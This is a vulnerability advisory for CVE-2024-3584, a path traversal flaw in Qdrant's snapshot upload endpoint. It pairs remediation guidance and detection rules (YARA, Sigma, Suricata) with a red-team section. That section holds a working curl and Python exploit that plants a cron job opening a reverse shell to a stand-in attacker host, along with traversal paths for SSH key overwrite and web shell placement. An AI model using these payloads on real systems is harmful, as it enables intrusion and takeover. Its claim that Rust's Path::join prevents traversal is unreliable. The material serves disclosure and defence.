CVE-2024-3584

Executive Summary

CVE-2024-3584 is a critical path traversal vulnerability in Qdrant, an open-source vector similarity search engine. The flaw resides in the /collections/{name}/snapshots/upload endpoint, where improper input validation on the name parameter allows an unauthenticated attacker to upload arbitrary files to any location on the server filesystem. By URL-encoding path traversal sequences (e.g., ..%2F..%2Froot%2Fpoc.txt), an attacker can write or overwrite files outside the intended upload directory. This can lead to remote code execution (RCE) via overwriting configuration files, SSH keys, or system binaries, potentially resulting in full server compromise. The vulnerability affects versions prior to 1.9.0, and no official patch details are available beyond the version bump. The CVSS score is 9.8 (Critical), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild but high impact if exploited.

Supply Chain & Package Security

Qdrant is distributed as a Docker image and a Rust crate. Users should verify the integrity of their Qdrant binaries and ensure they are sourced from official repositories. The vulnerability does not directly affect package managers like npm or PyPI, but organizations using Qdrant as a dependency in their applications should update to version 1.9.0 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Arbitrary file read possible.
• Integrity Impact: High (I:H) – Arbitrary file write/overwrite.
• Availability Impact: High (A:H) – Overwriting critical files can cause denial of service.

Threat Level: Critical. The combination of unauthenticated remote access and arbitrary file write makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability exists in the /collections/{name}/snapshots/upload endpoint. The name parameter is used to construct the file path for the uploaded snapshot. The application fails to sanitize or validate the name parameter for path traversal sequences. An attacker can URL-encode path traversal characters (e.g., %2F for /, %2E%2E for ..) to escape the intended upload directory.

Example Attack Flow:

1. The attacker sends a POST request to /collections/..%2F..%2Froot%2Fpoc.txt/snapshots/upload.
2. The server decodes the URL and constructs a file path like /var/lib/qdrant/snapshots/../../root/poc.txt.
3. The server writes the uploaded file content to /root/poc.txt.

This allows the attacker to:

• Overwrite configuration files (e.g., qdrant.yaml) to inject malicious settings.
• Overwrite SSH authorized keys to gain shell access.
• Overwrite system binaries or libraries to achieve RCE.
• Write a cron job or systemd service for persistence.

The vulnerability is fixed in version 1.9.0 by implementing proper input validation and path sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
#[post("/collections/{name}/snapshots/upload")]
async fn upload_snapshot(name: Path<String>, body: Bytes) -> Result<(), Error> {
    let path = format!("/var/lib/qdrant/snapshots/{}/snapshot.snapshot", name);
    // No validation on 'name' - path traversal possible
    std::fs::write(&path, body).unwrap();
    Ok(())
}

Patched Code (Conceptual):

// Patched endpoint handler
#[post("/collections/{name}/snapshots/upload")]
async fn upload_snapshot(name: Path<String>, body: Bytes) -> Result<(), Error> {
    // Validate that name does not contain path traversal sequences
    if name.contains("..") || name.contains("/") || name.contains("\\") {
        return Err(Error::BadRequest("Invalid collection name"));
    }
    // Use a safe path join
    let base = Path::new("/var/lib/qdrant/snapshots");
    let safe_path = base.join(&*name).join("snapshot.snapshot");
    // Ensure the resolved path is still within the base directory
    if !safe_path.starts_with(base) {
        return Err(Error::BadRequest("Invalid path"));
    }
    std::fs::write(&safe_path, body).unwrap();
    Ok(())
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Qdrant version < 1.9.0.
• Network access to the Qdrant API (default port 6333).

Exploit Steps:

1. Create a malicious file (e.g., a cron job or SSH key).
2. Send a crafted POST request to upload the file to an arbitrary location.

Example using curl:

# Upload a malicious cron job to /etc/cron.d/malicious
curl -X POST "http://target:6333/collections/..%2F..%2Fetc%2Fcron.d%2Fmalicious/snapshots/upload" \
  -F "snapshot=@malicious_cron.sh"

Example using Python:

import requests

target = "http://target:6333"
payload = "*/1 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'"
# URL-encode path traversal
path = "..%2F..%2Fetc%2Fcron.d%2Fmalicious"
url = f"{target}/collections/{path}/snapshots/upload"
files = {"snapshot": ("malicious", payload, "application/octet-stream")}
response = requests.post(url, files=files)
print(response.status_code)

Post-Exploitation:

• Overwrite SSH authorized keys: ..%2F..%2Froot%2F.ssh%2Fauthorized_keys
• Overwrite Qdrant config: ..%2F..%2Fetc%2Fqdrant%2Fconfig.yaml
• Write a web shell: ..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php

Blue Team

Detection:

• Monitor for POST requests to /collections/ containing URL-encoded path traversal sequences (e.g., %2F, %2E%2E).
• Alert on file writes outside the expected snapshot directory (e.g., /var/lib/qdrant/snapshots/).
• Use file integrity monitoring (FIM) to detect unauthorized changes to critical system files.

Hunting:

• Search logs for requests with .. or %2E%2E in the name parameter.
• Check for unexpected files in /etc/cron.d/, /root/.ssh/, or /tmp/.
• Review Qdrant logs for errors related to file path resolution.

Mitigation:

• Immediately upgrade to Qdrant version 1.9.0 or later.
• If upgrade is not possible, implement a WAF rule to block path traversal patterns.
• Restrict network access to the Qdrant API to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /collections/ with URL-encoded path traversal sequences (e.g., %2F, %2E%2E).
  • Unusual file uploads to non-standard paths.
• File System IOCs:
  • Unexpected files in /etc/cron.d/, /root/.ssh/, /var/www/html/, or /tmp/.
  • Modified Qdrant configuration files.
• Process IOCs:
  • Unusual child processes spawned by the Qdrant service.
  • Reverse shells or outbound connections from the Qdrant server.

Detection Engineering

YARA Rule

rule CVE_2024_3584_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Qdrant snapshot upload requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3584"
    strings:
        $traversal1 = "..%2F" ascii wide nocase
        $traversal2 = "%2E%2E%2F" ascii wide nocase
        $traversal3 = "..\\" ascii wide nocase
        $traversal4 = "%2E%2E%5C" ascii wide nocase
        $endpoint = "/collections/" ascii wide nocase
        $upload = "/snapshots/upload" ascii wide nocase
    condition:
        all of ($endpoint, $upload) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-3584 Qdrant Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Qdrant snapshot upload with path traversal sequences
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    definition: 'Qdrant API logs'
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/collections/'
        cs-uri-stem|contains: '/snapshots/upload'
        cs-uri-query|contains: 
            - '..%2F'
            - '%2E%2E%2F'
            - '..\\'
            - '%2E%2E%5C'
    condition: selection
falsepositives:
    - Legitimate use of special characters in collection names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3584 Qdrant Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/collections/"; http_uri; content:"/snapshots/upload"; http_uri; pcre:"/(?:\.\.%2F|%2E%2E%2F|\.\.\\|%2E%2E%5C)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Qdrant to version 1.9.0 or later. This is the only official fix.
2. Restrict network access to the Qdrant API (port 6333) using a firewall or security group. Only allow trusted IPs.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the name parameter.

Long-Term Measures:

• Input Validation: Ensure all user-supplied input is validated and sanitized. Use allowlists for collection names.
• Path Canonicalization: Use secure path join functions that prevent traversal (e.g., std::path::Path::join in Rust).
• Least Privilege: Run Qdrant with minimal filesystem permissions. The service should only write to its designated data directory.
• Monitoring: Enable detailed logging and monitor for suspicious file access patterns.

Workaround (if upgrade is not possible):

• Manually patch the vulnerable endpoint by adding input validation in a reverse proxy (e.g., Nginx) to reject requests containing .. or %2E%2E in the URI.

Valters IT
DevSecOps & Cyber Threat Intelligence